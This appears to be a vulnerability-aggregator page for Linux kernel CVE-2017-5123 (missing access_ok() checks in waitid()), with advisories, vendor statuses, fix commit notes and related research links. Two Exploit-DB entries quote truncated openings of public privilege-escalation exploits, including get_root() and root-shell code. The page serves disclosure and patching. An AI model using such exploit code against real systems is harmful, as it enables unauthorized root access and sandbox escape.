CVE-2017-5123
published 2021-11-02CVE-2017-5123: Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
PriorityP351high8.8CVSS 3.1
AVLACLPRLUINSCCHIHAH
EXPLOIT
EPSS
3.71%
88.4th percentile
Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | linux | < linux 4.13.4-2 (bookworm) | linux 4.13.4-2 (bookworm) |
| linux | linux_kernel | >= 0 < 4.13.4-2 | 4.13.4-2 |
| linux | linux_kernel | >= 0 < 4.13.4-2 | 4.13.4-2 |
| linux | linux_kernel | >= 0 < 4.13.4-2 | 4.13.4-2 |
| linux | linux_kernel | >= 0 < 4.13.4-2 | 4.13.4-2 |
| linux | linux_kernel | >= 4.13 < 4.13.7 | 4.13.7 |
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:L/AC:L/Au:N/C:P/I:P/A:P
osv8.8HIGH
vendor_debian8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-c436-43cf-26wj: Insufficient data validation in waitid allowed an user to escape sandboxes on Linux
ghsa_unreviewed·2022-05-24
CVE-2017-5123 [HIGH] CWE-20 GHSA-c436-43cf-26wj: Insufficient data validation in waitid allowed an user to escape sandboxes on Linux
Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
OSV
CVE-2017-5123: Insufficient data validation in waitid allowed an user to escape sandboxes on Linux
osv·2021-11-02·CVSS 8.8
CVE-2017-5123 [HIGH] CVE-2017-5123: Insufficient data validation in waitid allowed an user to escape sandboxes on Linux
Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
Kernel
waitid(): Add missing access_ok() checks
kernel_security·2017-10-09·CVSS 8.8
CVE-2017-5123 [HIGH] waitid(): Add missing access_ok() checks
waitid(): Add missing access_ok() checks
Adds missing access_ok() checks.
CVE-2017-5123
Reported-by: Chris Salls
Signed-off-by: Kees Cook
Acked-by: Al Viro
Fixes: 4c48abe91be0 ("waitid(): switch copyout of siginfo to unsafe_put_user()")
Cc: [email protected] # 4.13
Signed-off-by: Linus Torvalds
Red Hat
kernel: Missing access_ok() checks in waitid()
vendor_redhat·2017-10-12·CVSS 8.8
CVE-2017-5123 [HIGH] CWE-391 kernel: Missing access_ok() checks in waitid()
kernel: Missing access_ok() checks in waitid()
Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
The waitid implementation in upstream kernels did not restrict the target destination to copy information results. This can allow local users to write to otherwise protected kernel memory, which can lead to privilege escalation.
Statement: This issue did not affect the versions of the Linux kernel as shipped with Red Hat Enterprise Linux as they did not include the upstream commit https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4c48abe91be03d191d0c20cc755877da2cb35622 that introduced this issue.
Package: kernel (Red Hat Enterprise Linux 5) - Not affected
Package: kernel (Red Hat Enterprise Linux 6) - Not affected
Package: ke
Debian
CVE-2017-5123: linux - Insufficient data validation in waitid allowed an user to escape sandboxes on Li...
vendor_debian·2017·CVSS 8.8
CVE-2017-5123 [HIGH] CVE-2017-5123: linux - Insufficient data validation in waitid allowed an user to escape sandboxes on Li...
Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
Scope: local
bookworm: resolved (fixed in 4.13.4-2)
bullseye: resolved (fixed in 4.13.4-2)
forky: resolved (fixed in 4.13.4-2)
sid: resolved (fixed in 4.13.4-2)
trixie: resolved (fixed in 4.13.4-2)
No detection rules found.
Exploit-DB
Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP/Chrome Sandbox Privilege Escalation
exploitdb·2017-11-06
CVE-2017-5123 Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP/Chrome Sandbox Privilege Escalation
Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP/Chrome Sandbox Privilege Escalation
---
// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13
// By Chris Salls (twitter.com/chris_salls)
// This exploit can be used to break out out of sandboxes such as that in google chrome
// In this proof of concept we install the seccomp filter from chrome as well as a chroot,
// then break out of those and get root
// Bypasses smep and smap, but is somewhat unreliable and may crash the kernel instead
// offsets written and tested on ubuntu 17.10-beta2
/*
salls@ubuntu:~/x$ uname -a
Linux ubuntu 4.13.0-12-generic #13-Ubuntu SMP Sat Sep 23 03:40:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
salls@ubuntu:~/x$ gcc poc_smap_bypass.c -lpthread -o poc
salls@ubuntu:~/x$ ./poc
Installe
Exploit-DB
Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
exploitdb·2017-10-22
CVE-2017-5123 Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
---
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
void get_shell() {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
}
printf("[-] failed to get root shell :(\n");
}
void get_root() {
if (commit_creds && prepare_kernel_cred)
commit_creds(prepare_kernel_cred(0));
}
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsig
Unit42
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
blogs_unit42·2019-06-06
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
Threat Research Center
Threat Research
Cloud Cybersecurity Research
## Making Containers More Isolated: An Overview of Sandboxed Container Technologies
Jay Chen
Published: June 6, 2019
Cloud Cybersecurity Research
Learning Hub
Threat Research
Containers
Docker
Kubernetes
LXC
Public cloud
Rkt
Executive Summary
While the majority of the IT industry is in the midst of adopting container-based infrastructure (cloud-native solution), it is imperative to understand the technology’s limitations. Traditional containers such as Docker, Linux Containers (LXC), and Rocket (rkt) are not truly sandboxed as they share the host OS kernel. They are resource-efficient, but the attack surface and the potential impact of a breach are still large, especially in a multi-tenant cloud environme
Unit42
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
blogs_unit42·2019-06-06
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
Executive Summary
While the majority of the IT industry is in the midst of adopting container-based infrastructure (cloud-native solution), it is imperative to understand the technology’s limitations. Traditional containers such as Docker, Linux Containers (LXC), and Rocket (rkt) are not truly sandboxed as they share the host OS kernel. They are resource-efficient, but the attack surface and the potential impact of a breach are still large, especially in a multi-tenant cloud environment that co-locate containers belonging to different customers. The root of the problem is the weak separation between containers when the host OS creates a virtualized userland for each container. There has been research and development focusing on designing truly sandboxed containers. Most of the solutions r
arXiv
Shrinking the Kernel Attack Surface Through Static and Dynamic Syscall Limitation
arxiv_fulltext·2025-10-04
Shrinking the Kernel Attack Surface Through Static and Dynamic Syscall Limitation
Shrinking the Kernel Attack Surface Through Static and Dynamic Syscall Limitation
Dongyang Zhan*, Member, IEEE,
Zhaofeng Yu,
Xiangzhan Yu,
Hongli Zhang
and Lin Ye
D. Zhan, Z. Yu, X. Yu, H. Zhang and L. Ye are with the School of Cyberspace Science, Harbin Institute of Technology, Harbin,
Heilongjiang, 150001.
E-mail: \zhandy, 20S003135, yuxiangzhan, zhanghongli, hityelin\@hit.edu.cn
* Corresponding Author
## Abstract
Linux Seccomp is widely used by the program developers and the system maintainers to secure the operating systems, which can block unused syscalls for different applications and containers to shrink the attack surface of the operating systems. However, it is difficult to configure the whitelist of a container or application without the help of program developers. Docker con
arXiv
Securing Operating Systems Through Fine-grained Kernel Access Limitation for IoT Systems
arxiv_fulltext·2025-10-04
Securing Operating Systems Through Fine-grained Kernel Access Limitation for IoT Systems
Securing Operating Systems Through Fine-grained Kernel Access Limitation for IoT Systems
Dongyang Zhan, Member, IEEE,
Zhaofeng Yu,
Xiangzhan Yu,
Hongli Zhang,
Lin Ye,
and Likun Liu*
D. Zhan, Z. Yu, X. Yu, H. Zhang, L. Ye, L. Liu are with the School of Cyberspace Science, Harbin Institute of Technology, Harbin,
Heilongjiang, 150001.
E-mail: \zhandy, yuxiangzhan, zhanghongli, hityelin, liulikun\@hit.edu.cn
* Corresponding Author: [email protected]
## Abstract
With the development of Internet of Things (IoT), it is gaining a lot of attention. It is important to secure the embedded systems with low overhead. The Linux Seccomp is widely used by developers to secure the kernels by blocking the access of unused syscalls, which introduces less overhead. However, there are no systematic Secco
arXiv
Programmable System Call Security with eBPF
arxiv_fulltext·2023-02-20
Programmable System Call Security with eBPF
Programmable System Call Security with eBPF
Jinghao Jia^1, YiFei Zhu^2, Dan Williams^3, Andrea Arcangeli^4, Claudio Canella^5, Hubertus Franke^6,
Tobin Feldman-Fitzthum^6, Dimitrios Skarlatos^7, Daniel Gruss^8, Tianyin Xu^1
^1University of Illinois at Urbana-Champaign, Urbana, IL, USA
^2Google, Inc., Sunnyvale, CA, USA
^3Virginia Tech, Blacksburg, VA, USA
^4Red Hat, Inc., New York, NY, USA
^5Amazon Web Services, Graz, Austria
^6IBM Research, Yorktown Heights, NY, USA
^7Carnegie Mellon University, Pittsburgh, PA, USA
^8Graz University of Technology, Graz, Austria
## Abstract
System call filtering is a widely used security mechanism
for protecting a shared OS kernel
against untrusted user applications.
However, existing system call filtering techniques either are
too expensive du
arXiv
Threat Modeling and Security Analysis of Containers: A Survey
arxiv_fulltext·2021-11-22
Threat Modeling and Security Analysis of Containers: A Survey
Threat Modeling and Security Analysis of Containers: A Survey
Ann Yi Wong1 Eyasu Getahun Chekole1 Mart\'in Ochoa2 Jianying Zhou1
Singapore University of Technology and Design, Singapore 487372, Singapore
[email protected], \eyasu_chekole, jianying_zhou\@sutd.edu.sg
Department of Computer Science, ETH Zurich, 8092 Zurich, Switzerland
[email protected]
## Abstract
Traditionally, applications that are used in large and small enterprises were deployed on ``bare metal'' servers installed with operating systems. Recently, the use of multiple virtual machines (VMs) on the same physical server was adopted due to cost reduction and flexibility. Nowadays, containers have become popular for application deployment due to smaller footprints than the VMs, their ability to start
Bugzilla
CVE-2018-20669 kernel: missing access_ok() checks in i915_gem_execbuffer2_ioctl() results in priviledge escalation
bugzilla·2019-01-24·CVSS 8.8
CVE-2018-20669 [HIGH] CVE-2018-20669 kernel: missing access_ok() checks in i915_gem_execbuffer2_ioctl() results in priviledge escalation
CVE-2018-20669 kernel: missing access_ok() checks in i915_gem_execbuffer2_ioctl() results in priviledge escalation
Linux kernel is not checking a provided address with access_ok() when accessing userspace data in certain situations. Lack of such checks in i915_gem_execbuffer2_ioctl in drivers/gpu/drm/i915/i915_gem_execbuffer.c may allow a local unprivileged attacker to possible escalate its privileges.
References:
https://salls.github.io/Linux-Kernel-CVE-2017-5123/ (missing access_ok() check described)
Upstream patch:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=594cc251fdd0d231d342d88b2fdff4bc42fb0690
Discussion:
Created kernel tracking bugs for this issue:
Affects: fedora-all [bug 1669142]
---
This is fixed for Fedora with the 4.20.{3,4} kernel
Bugzilla
CVE-2017-5123 kernel: Missing access_ok() checks in waitid() [fedora-all]
bugzilla·2017-10-13·CVSS 8.8
CVE-2017-5123 [HIGH] CVE-2017-5123 kernel: Missing access_ok() checks in waitid() [fedora-all]
CVE-2017-5123 kernel: Missing access_ok() checks in waitid() [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported versions of
Bugzilla
CVE-2017-5123 kernel: Missing access_ok() checks in waitid()
bugzilla·2017-10-09·CVSS 8.8
CVE-2017-5123 [HIGH] CVE-2017-5123 kernel: Missing access_ok() checks in waitid()
CVE-2017-5123 kernel: Missing access_ok() checks in waitid()
A flaw was found in the upstream version of the kernels implementation of waitid systemcall. This flaw was the removal of validation of the target location where the kernel would copy the results. Previously it would implement a check to restrict the results to be copied to a valid userspace address, a new patch had inadvertently allowed copying to kernel addresses.
An attacker could use this flaw to corrupt memory, panic the machine or possibly allow for arbitary memory writes.
Discussion:
Acknowledgments:
Name: Chris Salls
---
Created attachment 1336563
Proposed patch
---
Upstream patch:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96ca579a1ecc943b75beba58bebb0356f6cc4b51
---
Created
https://crbug.com/772848https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96ca579a1ecc943b75beba58bebb0356f6cc4b51https://security.netapp.com/advisory/ntap-20211223-0003/https://crbug.com/772848https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96ca579a1ecc943b75beba58bebb0356f6cc4b51https://security.netapp.com/advisory/ntap-20211223-0003/
2021-11-02
Published